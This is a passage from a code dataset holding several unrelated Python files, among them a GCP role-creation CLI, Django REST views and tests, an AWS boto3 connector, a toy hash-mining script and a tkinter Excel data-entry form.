str(listDifferentPermissions))\n\ndef main():\n try:\n listATestablePermissions = []\n listDesiredPermissions = []\n listPermissions = []\n \n parser = argparse.ArgumentParser(\n description=__doc__,\n formatter_class=argparse.RawDescriptionHelpFormatter)\n\n subparsers = parser.add_subparsers(dest='command')\n \n\n # Permissions\n view_permissions_parser = subparsers.add_parser(\n 'permissions', help=query_testable_permissions.__doc__)\n view_permissions_parser.add_argument('entity')\n view_permissions_parser.add_argument('resource')\n view_permissions_parser.add_argument('pageSize')\n\n # Get\n get_role_parser = subparsers.add_parser('get', help=get_role.__doc__)\n get_role_parser.add_argument('name')\n\n # Create\n get_role_parser = subparsers.add_parser('create', help=create_role.__doc__)\n get_role_parser.add_argument('entity', choices=[\"organization\",\"project\"])\n get_role_parser.add_argument('entity_id')\n get_role_parser.add_argument('name')\n get_role_parser.add_argument('title')\n get_role_parser.add_argument('description')\n get_role_parser.add_argument('path_file_permissions')\n get_role_parser.add_argument('stage')\n\n '''\n # Edit\n edit_role_parser = subparsers.add_parser('edit', help=create_role.__doc__)\n edit_role_parser.add_argument('name')\n edit_role_parser.add_argument('project')\n edit_role_parser.add_argument('title')\n edit_role_parser.add_argument('description')\n edit_role_parser.add_argument('permissions')\n edit_role_parser.add_argument('stage')\n\n # List\n list_roles_parser = subparsers.add_parser('list', help=list_roles.__doc__)\n list_roles_parser.add_argument('project_id')\n\n # Disable\n disable_role_parser = subparsers.add_parser(\n 'disable', help=get_role.__doc__)\n disable_role_parser.add_argument('name')\n disable_role_parser.add_argument('project')\n\n # Delete\n delete_role_parser = subparsers.add_parser('delete', help=get_role.__doc__)\n delete_role_parser.add_argument('name')\n delete_role_parser.add_argument('project')\n\n # Undelete\n undelete_role_parser = subparsers.add_parser(\n 'undelete', help=get_role.__doc__)\n undelete_role_parser.add_argument('name')\n undelete_role_parser.add_argument('project')\n '''\n\n args = parser.parse_args()\n\n\n if args.entity == \"project\":\n args.entity = \"projects\"\n elif args.entity == \"organization\":\n args.entity = \"organizations\"\n\n if args.command == 'permissions':\n query_testable_permissions(args.entity, args.resource, args.pageSize)\n elif args.command == 'get':\n get_role(args.name)\n elif args.command == 'create':\n listTestablePermissions = query_testable_permissions(args.entity, args.entity_id, 1000)\n listDesiredPermissions = get_permissions(readRoleFile(args.path_file_permissions))\n listActualPermissions = compareCommonPermissions(listTestablePermissions, listDesiredPermissions)\n \n create_role(\n args.entity, args.entity_id, args.name, args.title,\n args.description, listActualPermissions, args.stage)\n '''elif args.command == 'list':\n list_roles(args.project_id)\n elif args.command == 'edit':\n edit_role(\n args.name, args.project, args.title,\n args.description, args.permissions, args.stage)\n elif args.command == 'disable':\n disable_role(args.name, args.project)\n elif args.command == 'delete':\n delete_role(args.name, args.project)\n elif args.command == 'undelete':\n undelete_role(args.name, args.project)\n '''\n except Exception as e:\n print(e)\n \nif __name__ == '__main__':\n main()","repo_name":"cbc506/gcp-create-roles","sub_path":"create_custom_roles.py","file_name":"create_custom_roles.py","file_ext":"py","file_size_in_byte":8496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"33463585404","text":"from .IMG import IMG\nimport time\nimport cv2\n\n\nclass CampCamera:\n def __init__(self, FPS: int = 30):\n self.FPS: int = min(60, FPS)\n\n def __str__(self):\n \"\"\"Покадровый вывод видео\"\"\"\n\n cap = cv2.VideoCapture(0)\n\n try:\n while True:\n img = cap.read()[1]\n print(IMG(img=img))\n\n time.sleep(1 / self.FPS)\n\n return None\n\n finally:\n cap.release()\n cv2.destroyAllWindows()\n return None\n","repo_name":"EgorGorshen/ASCII-1.2","sub_path":"grafity/CampCamera.py","file_name":"CampCamera.py","file_ext":"py","file_size_in_byte":537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"21283682283","text":"\"\"\"Tests for template tags in the samplesheets app\"\"\"\n\nimport os\n\nfrom django.conf import settings\nfrom django.urls import reverse\n\nfrom test_plus.test import TestCase\n\nfrom projectroles.models import SODAR_CONSTANTS\nfrom projectroles.plugins import get_backend_api\nfrom projectroles.tests.test_models import (\n ProjectMixin,\n RoleMixin,\n RoleAssignmentMixin,\n)\n\nfrom samplesheets.models import GENERIC_MATERIAL_TYPES\nfrom samplesheets.templatetags import samplesheets_tags as s_tags\nfrom samplesheets.tests.test_models import (\n SampleSheetModelMixin,\n IrodsDataRequestMixin,\n INV_IDENTIFIER,\n INV_FILE_NAME,\n INV_TITLE,\n DEFAULT_DESCRIPTION,\n DEFAULT_COMMENTS,\n INV_ARCHIVE_NAME,\n STUDY_IDENTIFIER,\n STUDY_FILE_NAME,\n STUDY_TITLE,\n ASSAY_FILE_NAME,\n ASSAY_TECH_PLATFORM,\n ASSAY_TECH_TYPE,\n ASSAY_MEASURE_TYPE,\n IRODS_REQUEST_ACTION_DELETE,\n IRODS_REQUEST_STATUS_ACTIVE,\n)\n\n# Local constants\nIRODS_SAMPLE_COLL = settings.IRODS_SAMPLE_COLL\nDEFAULT_TAG_COLOR = s_tags.DEFAULT_TAG_COLOR\nTAG_COLORS = s_tags.TAG_COLORS\nREQUEST_STATUS_CLASSES = s_tags.REQUEST_STATUS_CLASSES\nMISC_FILES_COLL = 'MiscFiles'\nSUB_COLL = 'SubCollection'\n\n\nclass TestSamplesheetsTemplateTags(\n ProjectMixin,\n RoleMixin,\n RoleAssignmentMixin,\n SampleSheetModelMixin,\n IrodsDataRequestMixin,\n TestCase,\n):\n \"\"\"Tests for template tags in the samplesheets app\"\"\"\n\n def setUp(self):\n # Init roles\n self.init_roles()\n # Make owner user\n self.user_owner = self.make_user('owner')\n # Init project and assignment\n self.project = self.make_project(\n 'TestProject', SODAR_CONSTANTS['PROJECT_TYPE_PROJECT'], None\n )\n self.owner_as = self.make_assignment(\n self.project, self.user_owner, self.role_owner\n )\n # Set up Investigation\n self.investigation = self.make_investigation(\n identifier=INV_IDENTIFIER,\n file_name=INV_FILE_NAME,\n project=self.project,\n title=INV_TITLE,\n description=DEFAULT_DESCRIPTION,\n comments=DEFAULT_COMMENTS,\n archive_name=INV_ARCHIVE_NAME,\n )\n # Set up Study\n self.study = self.make_study(\n identifier=STUDY_IDENTIFIER,\n file_name=STUDY_FILE_NAME,\n investigation=self.investigation,\n title=STUDY_TITLE,\n description=DEFAULT_DESCRIPTION,\n comments=DEFAULT_COMMENTS,\n )\n # Set up Assay\n self.assay = self.make_assay(\n file_name=ASSAY_FILE_NAME,\n study=self.study,\n tech_platform=ASSAY_TECH_PLATFORM,\n tech_type=ASSAY_TECH_TYPE,\n measurement_type=ASSAY_MEASURE_TYPE,\n arcs=[],\n comments=DEFAULT_COMMENTS,\n )\n # Setup iRODS backend for the test\n self.irods_backend = get_backend_api('omics_irods')\n\n def test_get_investigation(self):\n \"\"\"Test get_investigation()\"\"\"\n self.assertEqual(\n s_tags.get_investigation(self.project), self.investigation\n )\n\n def test_get_investigation_no_investigation(self):\n \"\"\"Test get_investigation() without investigation\"\"\"\n self.investigation.delete()\n self.assertEqual(s_tags.get_investigation(self.project), None)\n\n def test_get_search_item_type_material_types(self):\n \"\"\"Test get_search_item_type() with material types\"\"\"\n for material_type in GENERIC_MATERIAL_TYPES:\n item = {'type': material_type}\n expected = GENERIC_MATERIAL_TYPES[material_type]\n self.assertEqual(s_tags.get_search_item_type(item), expected)\n\n def test_get_search_item_type_file(self):\n \"\"\"Test get_search_item_type() with special case 'file'\"\"\"\n item = {'type': 'file'}\n self.assertEqual(s_tags.get_search_item_type(item), 'Data File')\n\n def test_get_irods_tree(self):\n \"\"\"Test get_irods_tree()\"\"\"\n ret = s_tags.get_irods_tree(self.investigation)\n # Assert that IRODS_SAMPLE_COLL exists in the returned string\n self.assertIn(IRODS_SAMPLE_COLL, ret)\n # Assert that study path exists in the returned string\n self.assertIn(self.irods_backend.get_sub_path(self.study), ret)\n # Assert that assay path exists in the returned string\n study_path, assay_path = self.irods_backend.get_sub_path(\n self.assay\n ).split('/')\n self.assertIn(study_path, ret)\n self.assertIn(assay_path, ret)\n\n def test_get_material_search_url(self):\n \"\"\"Test get_material_search_url()\"\"\"\n item = {'study': self.study, 'name': 'Sample1'}\n url = s_tags.get_material_search_url(item)\n expected = reverse(\n 'samplesheets:project_sheets',\n kwargs={'project': self.project.sodar_uuid},\n )\n expected += '#/study/{}/filter/Sample1'.format(self.study.sodar_uuid)\n self.assertEqual(url, expected)\n\n def test_get_irods_path_with_project(self):\n \"\"\"Test get_irods_path() with project\"\"\"\n expected = self.irods_backend.get_path(self.project)\n self.assertEqual(s_tags.get_irods_path(self.project), expected)\n\n def test_get_irods_path_with_assay(self):\n \"\"\"Test get_irods_path() with assay\"\"\"\n expected = self.irods_backend.get_path(self.assay)\n self.assertEqual(s_tags.get_irods_path(self.assay), expected)\n\n def test_get_irods_path_with_project_and_sub_path(self):\n \"\"\"Test get_irods_path() with project and sub_path\"\"\"\n project_path = self.irods_backend.get_path(self.project)\n sub_path = 'subfolder1/subfolder2'\n expected = project_path + '/' + sub_path\n self.assertEqual(\n s_tags.get_irods_path(self.project, sub_path), expected\n )\n\n def test_get_irods_path_with_assay_and_sub_path(self):\n \"\"\"Test get_irods_path() with assay and sub_path\"\"\"\n assay_path = self.irods_backend.get_path(self.assay)\n sub_path = 'subfolder1/subfolder2'\n expected = assay_path + '/' + sub_path\n self.assertEqual(s_tags.get_irods_path(self.assay, sub_path), expected)\n\n def test_get_icon_study(self):\n \"\"\"Test get_icon() with Study\"\"\"\n icon_html = s_tags.get_icon(self.study)\n self.assertIn('text-info', icon_html)\n self.assertIn('mdi:folder-table', icon_html)\n\n def test_get_icon_assay(self):\n \"\"\"Test get_icon() with Assay\"\"\"\n icon_html = s_tags.get_icon(self.assay)\n self.assertIn('text-danger', icon_html)\n self.assertIn('mdi:table-large', icon_html)\n\n def test_get_isatab_tag_html_tags_in_tag_colors(self):\n \"\"\"Test get_isatab_tag_html() with tags in TAG_COLORS\"\"\"\n isatab = type('MockISATab', (object,), {'tags': TAG_COLORS.keys()})\n tag_html = s_tags.get_isatab_tag_html(isatab)\n for tag, color in TAG_COLORS.items():\n self.assertIn(color, tag_html)\n\n def test_get_isatab_tag_html_unknown_tag(self):\n \"\"\"Test get_isatab_tag_html() with an unknown tag\"\"\"\n isatab = type('MockISATab', (object,), {'tags': ['UNKNOWN_TAG']})\n tag_html = s_tags.get_isatab_tag_html(isatab)\n self.assertIn(DEFAULT_TAG_COLOR, tag_html)\n\n def test_get_request_path_html(self):\n \"\"\"Test get_request_path_html()\"\"\"\n req_path = os.path.join(\n self.irods_backend.get_path(self.assay), MISC_FILES_COLL\n )\n request = self.make_irods_request(\n project=self.project,\n action=IRODS_REQUEST_ACTION_DELETE,\n status=IRODS_REQUEST_STATUS_ACTIVE,\n path=req_path,\n user=self.user_owner,\n )\n expected = '/{}'.format(MISC_FILES_COLL)\n self.assertEqual(s_tags.get_request_path_html(request), expected)\n\n def test_get_request_path_html_nested(self):\n \"\"\"Test get_request_path_html() with nested collections\"\"\"\n req_path = os.path.join(\n self.irods_backend.get_path(self.assay), MISC_FILES_COLL, SUB_COLL\n )\n request = self.make_irods_request(\n project=self.project,\n action=IRODS_REQUEST_ACTION_DELETE,\n status=IRODS_REQUEST_STATUS_ACTIVE,\n path=req_path,\n user=self.user_owner,\n )\n expected = '{}/{}'.format(\n MISC_FILES_COLL, SUB_COLL\n )\n self.assertEqual(s_tags.get_request_path_html(request), expected)\n\n def test_get_request_status_class_valid(self):\n \"\"\"Test get_request_status_class() with values in REQUEST_STATUS_CLASSES\"\"\"\n for status, css_class in REQUEST_STATUS_CLASSES.items():\n irods_request = type(\n 'MockIrodsRequest', (object,), {'status': status}\n )\n self.assertEqual(\n s_tags.get_request_status_class(irods_request), css_class\n )\n\n def test_get_request_status_class_unknown(self):\n \"\"\"Test get_request_status_class() with unknown status\"\"\"\n irods_request = type(\n 'MockIrodsRequest', (object,), {'status': 'UNKNOWN'}\n )\n self.assertEqual(s_tags.get_request_status_class(irods_request), '')\n\n def test_trim_base_path(self):\n \"\"\"Test trim_base_path() with a realistic iRODS path\"\"\"\n prefix = '/base_path'\n path = prefix + '/project/subfolder1/subfolder2'\n expected = '/project/subfolder1/subfolder2'\n self.assertEqual(s_tags.trim_base_path(path, prefix), expected)\n","repo_name":"bihealth/sodar-server","sub_path":"samplesheets/tests/test_templatetags.py","file_name":"test_templatetags.py","file_ext":"py","file_size_in_byte":9599,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"60"} +{"seq_id":"39703102275","text":"from hashlib import sha256\n\n\ndef SHA256(text):\n return sha256(text.encode(\"ascii\")).hexdigest()\n\n\ndef mine(block_number, transactions, previous_hash, prefix_zeros):\n prefix_str = \"0\" * prefix_zeros\n for nonce in range(MAX_NONCE): \n text = str(block_number) + transactions + previous_hash + str(nonce)\n new_hash = SHA256(text)\n if new_hash.startswith(prefix_str):\n print(f\"Yay! Successfully mined bitcoins with nonce value: {nonce}\")\n return new_hash\n \n raise BaseException(f\"Could not find correct hash after trying {MAX_NONCE} times!\")\n\n\nif __name__ == '__main__':\n \n # Input parameters start\n block_number = 3\n transactions = '''\n Akos --> Joska --> 20\n Pista --> Fecko --> 30\n Muci --> Duci --> 3001\n '''\n previous_hash = \"b5d4045c3f466fa91fe2cc6abe79232a1a57cdf104f7a26e716e0a1e2789df78\"\n difficulty = 8\n # Input parameters end\n \n MAX_NONCE = 10000000000\n import time\n start = time.time()\n print(\"Mining started.\")\n new_hash = mine(block_number, transactions, previous_hash, difficulty)\n total_time = str(round((time.time() - start)))\n print(f\"Mining ended. Mining took {total_time} seconds.\")\n \n print(new_hash)\n","repo_name":"mikecvx/python-scripts-library","sub_path":"Practise/blockchain.py","file_name":"blockchain.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31637567674","text":"import numpy as np\nimport pytest\n\nfrom matplotlib import pyplot as plt\nfrom utils import plot_confusion_matrix, plot_roc\n\n\n@pytest.mark.parametrize(\"labels\", [None, [\"1\", \"2\"]])\ndef test_plot_conf_matrix(labels):\n gen = np.random.default_rng(123)\n matrix = gen.integers(0, 10, size=(2, 2))\n\n fig = plot_confusion_matrix(matrix, labels)\n\n assert len(fig.get_axes()) == 2\n\n plt.close(fig)\n\n\ndef test_plot_roc():\n gen = np.random.default_rng(123)\n size = 5\n tpr = gen.random(size)\n fpr = gen.random(size)\n\n fig = plot_roc(tpr, fpr, \"test\")\n\n assert len(fig.get_axes()) == 1\n\n plt.close(fig)\n","repo_name":"made-kdd-2021/image-cls","sub_path":"tests/test_plot.py","file_name":"test_plot.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"34052988542","text":"import boto3\nfrom app.services.connector.connector import Connector\nfrom pydash.objects import get\nfrom botocore.client import Config\n\nfrom app.error.clientMaestroError import ClientMaestroError\nfrom botocore.exceptions import ClientError, ParamValidationError\n\n\nclass AWS(Connector):\n\n def credencials(self, command):\n config = Config(connect_timeout=10, read_timeout=10)\n\n self._client = boto3.client(\n command,\n aws_access_key_id=self._access['access'],\n aws_secret_access_key=self._access['secret'],\n region_name=self._region,\n config=config\n )\n return self\n\n def select(self, command):\n self.credencials(command)\n return self\n\n def setPag(self, data):\n next = self._opts.get('pag_next', 'NextToken')\n token = get(data, next)\n\n if token:\n key = self._opts.get('pag_key', 'NextToken')\n self._pagination = {key: token}\n\n def getPag(self):\n return self._pagination\n\n def execute(self, resource):\n try:\n output = getattr(self._client, resource)(**self._params)\n self.setPag(output)\n\n if self._path_result:\n return get(output, self._path_result)\n\n return [output]\n\n except (ClientError, ParamValidationError) as error:\n raise ClientMaestroError(error)\n","repo_name":"maestro-server/discovery-api","sub_path":"app/repository/providers/aws/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"} +{"seq_id":"38370680804","text":"import requests\n\nfrom django.shortcuts import render\nfrom django.contrib.auth.decorators import login_required\nfrom django.db.models import Q\n\nfrom rest_framework.decorators import api_view,authentication_classes,permission_classes\nfrom rest_framework.response import Response\nfrom rest_framework.permissions import IsAuthenticated\n\nfrom artsc.consts import Status\nfrom user.models import User\n\nfrom .models import Post,Category,Friend\nfrom .serializers import PostSerializer,CategorySerializer,FriendSerializer\n# Create your views here.\n\n@login_required\ndef index(request,*args,**kwargs):\n return render(request,\"index.html\")\n\n\n@api_view([\"GET\"])\n@permission_classes([IsAuthenticated])\ndef get_all_posts(request):\n posts = Post.objects.filter()\n serializer = PostSerializer(posts,many=True)\n return Response({\n \"status\":Status.SUCCESSFUL,\n \"posts\":serializer.data\n })\n\n@api_view([\"GET\"])\n@permission_classes([IsAuthenticated])\ndef get_posts_for_category(request):\n id = request.query_params.get(\"category_id\")\n posts = Post.objects.filter(category__id = id)\n serializer = PostSerializer(posts,many=True)\n return Response({\n \"status\":Status.SUCCESSFUL,\n \"posts\":serializer.data\n })\n\n\n@api_view([\"POST\"])\n@permission_classes([IsAuthenticated])\ndef upload_post(request):\n try:\n category = Category.objects.get(id = request.data.get(\"category_id\"))\n post = Post.objects.create(\n user = request.user,\n image = request.data.get(\"image\"),\n description = request.data.get(\"description\"),\n category = category\n )\n\n\n return Response({\n \"successful\":Status.SUCCESSFUL\n })\n except Exception as e:\n return Response({\n \"status\":Status.UNSUCCESSFUL,\n \"error\":e.__str__()\n })\n\n\n@api_view([\"GET\"])\n@permission_classes([IsAuthenticated])\ndef get_categories(request):\n categories = Category.objects.filter()\n\n serializer = CategorySerializer(categories,many = True)\n\n return Response({\n \"status\":Status.SUCCESSFUL,\n \"categories\":serializer.data\n })\n\n@api_view([\"POST\"])\ndef predict_category(request):\n files = {'file': request.data.get(\"file\").read()}\n\n try:\n\n r = requests.post(\"http://34.171.253.227:8080\", files=files)\n \n except Exception as e:\n print(e)\n return Response({\n \"status\":Status.UNSUCCESSFUL,\n \"error\":e.__str__()\n })\n \n data = r.json()\n\n print(data)\n\n category = Category.objects.get(\n text = data.get(\"tag\")\n )\n\n serializer = CategorySerializer(\n category\n )\n\n return Response({\n \"status\":Status.SUCCESSFUL,\n \"category\":serializer.data\n })\n\n\n@api_view([\"POST\"])\n@permission_classes([IsAuthenticated])\ndef send_friend_request(request):\n try:\n to = User.objects.get(username=request.data.get(\"username\"))\n friend_requests = Friend.objects.filter(\n user1=request.user,\n user2 = to\n )\n\n if friend_requests.count() > 0:\n return Response({\n \"status\":Status.UNSUCCESSFUL,\n \"error\":\"Friend request already sent\"\n })\n \n Friend.objects.create(\n user1=request.user,\n user2=to\n )\n return Response({\n \"status\":Status.SUCCESSFUL\n })\n except Exception as e:\n return Response({\n \"status\":Status.UNSUCCESSFUL,\n \"error\":e.__str__()\n })\n\n@api_view([\"GET\"])\n@permission_classes([IsAuthenticated])\ndef get_network(request):\n friend_requests= Friend.objects.filter(\n (Q(user2=request.user) & Q(accepted = False))\n )\n\n friends = Friend.objects.filter(\n (Q(user1=request.user) & Q(accepted = True)) |\n (Q(user2=request.user) & Q(accepted=True))\n )\n\n friend_requests_serialized = FriendSerializer(friend_requests,many = True)\n friends_serialized = FriendSerializer(friends,many = True)\n\n return Response({\n \"status\":Status.SUCCESSFUL, \n \"friend_requests_received\":friend_requests_serialized.data,\n \"friends\":friends_serialized.data,\n \"your_username\":request.user.username,\n })\n\n \n@api_view([\"POST\"])\n@permission_classes([IsAuthenticated])\ndef confirm_friend_request(request):\n id = request.data.get(\"id\")\n\n friend = Friend.objects.get(id=id)\n print(friend)\n friend.accepted = True\n try:\n friend.save()\n\n return Response({\n \"status\":Status.SUCCESSFUL,\n })\n except Exception as e:\n return Response({\n \"status\":Status.UNSUCCESSFUL,\n \"error\":e.__str__()\n })\n\n\n","repo_name":"oam-mit/ArtSC_backend","sub_path":"social/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"72783925631","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Mar 2 12:40:48 2019\n\n@author: Mithilesh\n\"\"\"\n\ndef jim(arr1,n):\n arr2=list(arr1)\n arr2.sort()\n for i in range(n):\n print(arr1.index(arr2[i])+1,end=\" \")\n arr1[arr1.index(arr2[i])]=0\nn=int(input())\narr1=[]\nfor i in range(n):\n c_id,pre_t=map(int,input().split())\n arr1.append(c_id+pre_t)\njim(arr1,n)","repo_name":"abhaykatheria/cp","sub_path":"HackerRank2/Jim and Orders.py","file_name":"Jim and Orders.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"6609648969","text":"import tkinter\nfrom tkinter import ttk\nfrom tkinter import *\nimport tkinter.font\nimport openpyxl\n\nfrom pathlib import Path\nimport os\nimport platform\n\nfrom dates import OpenDate\nfrom Buyer import Customers\nfrom Header import HeaderEntry\n\nfrom src.erp_grups.erp_calculations import ErpCodeCalculator\nfrom src.Quatation import Quotations\nfrom src.sales_terms import SalesAndTerms\nfrom src.widgets.Quatation_entries import QuotationEntries\nfrom src.widgets.Sales_terms_entreis import SalesTermsConditionsEntry\nfrom src.widgets.header_entries import HeaderEntries\n\n\nclass DataEntry(OpenDate, Customers, HeaderEntry, ErpCodeCalculator, Quotations, SalesAndTerms, QuotationEntries,\n SalesTermsConditionsEntry, HeaderEntries):\n notebook_tab_index = []\n\n def __init__(self):\n super().__init__()\n\n self.window = tkinter.Tk()\n self.window.configure(background='#eff0f1')\n self.window.tk.call('source', r'C:\\Users\\yigit\\PycharmProjects\\Sepkon_enter_data\\tkBreeze-master/breeze'\n r'/breeze.tcl')\n self.window.state('zoomed')\n self.s = ttk.Style()\n self.s.theme_use('breeze')\n self.s.configure('TNotebook.Tab', font=('HACK', 14))\n self.s.configure(\"my.TButton\", font=(\"Hack\", 14), )\n self.s.configure('TNotebook.Tab', background=\"blue\")\n self.s.map(\"TNotebook\", background=[(\"selected\", \"red\")])\n\n self.window.title(\"Data Entry Sepkon\")\n self.notebook = ttk.Notebook(self.window)\n self.notebook.pack()\n self.notebook.grid(row=0, column=0)\n\n self.frame1 = Frame(self.notebook, width=self.window.winfo_width(),\n height=self.window.winfo_height())\n\n self.frame2 = Frame(self.notebook, width=self.window.winfo_width(),\n height=self.window.winfo_height())\n\n self.labelframe = LabelFrame(self.frame2, text=\"This is a LabelFrame\")\n\n self.labelframe.grid(row=7, column=1)\n self.frame4 = Frame(self.notebook, width=400, height=280)\n self.frame3 = ttk.Frame(self.notebook)\n\n self.frame1.pack(fill='both', expand=True)\n self.frame2.pack(fill='both', expand=True)\n\n self.frame4.pack(fill='both', expand=True)\n self.frame3.pack(fill='both', expand=True)\n\n self.notebook.add(self.frame1, text='Registration Data')\n self.notebook.add(self.frame2, text='Quotation')\n self.notebook.add(self.frame4, text='Sales Term and Contions')\n self.notebook.add(self.frame3, text='Open the excel')\n self.notebook.bind(\"<>\", self._open_excel)\n\n ttk_font = tkinter.font.Font(size=10, font=\"Hack\")\n ttk_font_header = tkinter.font.Font(size=28, font=\"Hack\")\n ttk_entry_font = tkinter.font.Font(size=8, font=\"Hack\")\n\n self.buyer_font = ttk.Label(text=\"Buyer\", font=24)\n self.buyer = ttk.Frame(self.notebook)\n\n self.buyer_info_label = ttk.Label(self.frame1, text='Buyer name', font=ttk_font)\n vcmd = self.buyer.register(self.validate)\n self.buyer_info_combobox = ttk.Combobox(self.frame1, font=ttk_font, validate='key',\n validatecommand=(vcmd, '%P'))\n self.buyer_info_label.grid(row=0, column=0)\n self.buyer_info_combobox.grid(row=0, column=1)\n\n self.buyer_info_combobox.bind(\"\", self._check_key)\n\n self.header_font = ttk.Label(text=\"Header\", font=24)\n self.user_info_frame = ttk.LabelFrame(self.window, labelwidget=self.header_font)\n\n self.Open_Data_label = ttk.Label(self.frame1, text=\"Open Date\", font=ttk_font)\n self.Open_Data_label.grid(row=1, column=0)\n self.Dead_Line_label = ttk.Label(self.frame1, text=\"Dead Line\", font=ttk_font)\n self.Dead_Line_label.grid(row=1, column=1)\n\n self.Open_Data_name_entry = ttk.Entry(self.frame1, font=ttk_entry_font)\n self.Dead_Line_entry = ttk.Entry(self.frame1, font=ttk_entry_font)\n self.Open_Data_name_entry.grid(row=2, column=0)\n self.Dead_Line_entry.grid(row=2, column=1)\n\n self.Request_Type_Entry = self._request_type_entry(self.frame1, ttk_font, ttk_entry_font)\n self.Tax_Exception_Entry = self._tax_exception_entry(self.frame1, ttk_font, ttk_entry_font)\n self.Required_Delivery = self.required_delivery_entry(self.frame1, ttk_font, ttk_entry_font)\n self.Origin_Restiriction_combobox = self._origin_restriction_entry(self.frame1, ttk_font, ttk_entry_font,\n self._origin_check_key)\n self.Operation_Type_entry = self._operation_type_entry(self.frame1, ttk_font, ttk_entry_font)\n self.Project_End_Use_Entry = self._project_end_use_entry(self.frame1, ttk_font, ttk_entry_font)\n\n self.__line__(self.frame2, ttk_font)\n\n self.pos_entry = QuotationEntries().pos_label_entry(self.frame2, ttk_font)\n\n self.ERP_Entry = QuotationEntries().erp_grup_label(self.frame2, ttk_font,\n ErpCodeCalculator()._erp_code_abbreviation())\n\n self.Description_box = QuotationEntries().Description(self.frame2, ttk_font)\n\n self.Dimensions_box = QuotationEntries().Dimension_1(self.frame2, ttk_font)\n\n self.Dimensions2_box = QuotationEntries().Dimension_2(self.frame2, ttk_font)\n\n self.Dimensions3_box = QuotationEntries().Dimension_3(self.frame2, ttk_font)\n\n self.l_mm_box = QuotationEntries().l_mm_label_entry(self.frame2, ttk_font)\n\n self.get_combobox_value(None, self.frame2, ttk_font, self.pos_entry, self.ERP_Entry, self.Description_box,\n self.Dimensions_box, self.Dimensions2_box, self.Dimensions3_box, self.l_mm_box)\n # Sales and Terms\n\n self.total_order_entery = self._total_order_entry(self.frame4, ttk_font)\n\n self.quantity_entry = self._quantity_entry(self.frame4, ttk_font)\n\n self.delivery_term_entry = self._delivery_term_entry(self.frame4, ttk_font)\n\n self.delivery_time_entry = self._delivery_time_entry(self.frame4, ttk_font)\n\n self.payment_term_entry = self._payment_term_entry(self.frame4, ttk_font)\n\n self.origin_entry = self._origin_entry(self.frame4, ttk_font)\n\n self.delivery_tol_entry = self._delivery_tol_entry(self.frame4, ttk_font)\n\n self.transport_by_entry = self._transport_by_entry(self.frame4, ttk_font)\n\n self.partial_shipments_entry = self._partial_shipments_entry(self.frame4, ttk_font)\n\n self.validity_entry = self._validity_entry(self.frame4, ttk_font)\n\n self.button = ttk.Button(self.window, text=\"Enter data\", style='my.TButton',\n command=self._put_data_to_excel,\n state=DISABLED)\n\n self.button.grid(row=3, column=0, sticky=\"news\")\n\n for widget in self.frame1.winfo_children():\n widget.grid_configure(padx=50, pady=10)\n\n for widget in self.frame2.winfo_children():\n widget.grid_configure(padx=50, pady=10)\n\n for widget in self.frame4.winfo_children():\n widget.grid_configure(padx=50, pady=10)\n\n F5 = Frame(self.window, bd=10, relief='groove')\n F5.place(x=1010, y=180, width=350, height=380)\n\n self.window.mainloop()\n\n def validate(self, p):\n self.button.config(state=(NORMAL if p else DISABLED))\n return True\n\n def _open_excel(self, event):\n current_notebook = self.notebook.index(self.notebook.select())\n\n self.notebook_tab_index.append(current_notebook)\n\n if int(self.notebook.index(self.notebook.select())) == int(3):\n\n self.notebook_tab_index.pop()\n\n self.notebook.select(self.notebook_tab_index[-1])\n\n filepath = r\"C:\\Users\\yigit\\Desktop\\excel_data\\kk.xlsx\"\n\n if platform.system() == 'Windows':\n os.startfile(filepath)\n\n def _from_buyer_entry_get_value(self):\n buyer_name = self.buyer_info_combobox.get()\n\n return buyer_name\n\n def _from_entries_get_value_(self):\n open_date = self.Open_Data_name_entry.get()\n\n dead_line = self.Dead_Line_entry.get()\n\n request_type = self.Request_Type_Entry.get()\n\n tax_exception = self.Tax_Exception_Entry.get()\n\n required_delivery = self.Required_Delivery.get()\n\n origin_restriction = self.Origin_Restiriction_combobox.get()\n\n operation_type = self.Operation_Type_entry.get()\n\n project_end_use = self.Project_End_Use_Entry.get()\n\n header_list = [open_date, dead_line, request_type, tax_exception, required_delivery,\n origin_restriction, operation_type, project_end_use]\n\n return header_list\n\n def _from_quatation_entries_get_value(self):\n position = self.pos_entry.get()\n\n erp = self.ERP_Entry.get()\n\n description = self.Description_box.get()\n\n dim1 = self.Dimensions_box.get()\n\n dim2 = self.Dimensions2_box.get()\n\n dim3 = self.Dimensions3_box.get()\n\n l_mm = self.l_mm_box.get()\n\n quotation = [position, erp, description, dim1, dim2, dim3, l_mm]\n\n return quotation\n\n def _from_sales_and_terms_entries_get_value(self):\n total_order = self.total_order_entery.get()\n\n quantity = self.quantity_entry.get()\n\n delivery_term = self.delivery_term_entry.get()\n\n delivery_time = self.delivery_time_entry.get()\n\n payment_term = self.payment_term_entry.get()\n\n origin = self.origin_entry.get()\n\n delivery_tol = self.delivery_tol_entry.get()\n\n transport_by = self.transport_by_entry.get()\n\n partial_shipment = self.partial_shipments_entry.get()\n\n validity = self.validity_entry.get()\n\n sales_terms_and_conditions = [total_order, quantity, delivery_term, delivery_time, payment_term, origin,\n delivery_tol, transport_by, partial_shipment, validity]\n\n return sales_terms_and_conditions\n\n def _put_data_to_excel(self):\n\n filepath = r\"C:\\Users\\yigit\\Desktop\\excel_data\\kk.xlsx\"\n\n try:\n\n workbook = openpyxl.load_workbook(filepath)\n\n except PermissionError:\n\n print('The file has been opened ')\n\n sheet = workbook.active\n\n bynm = 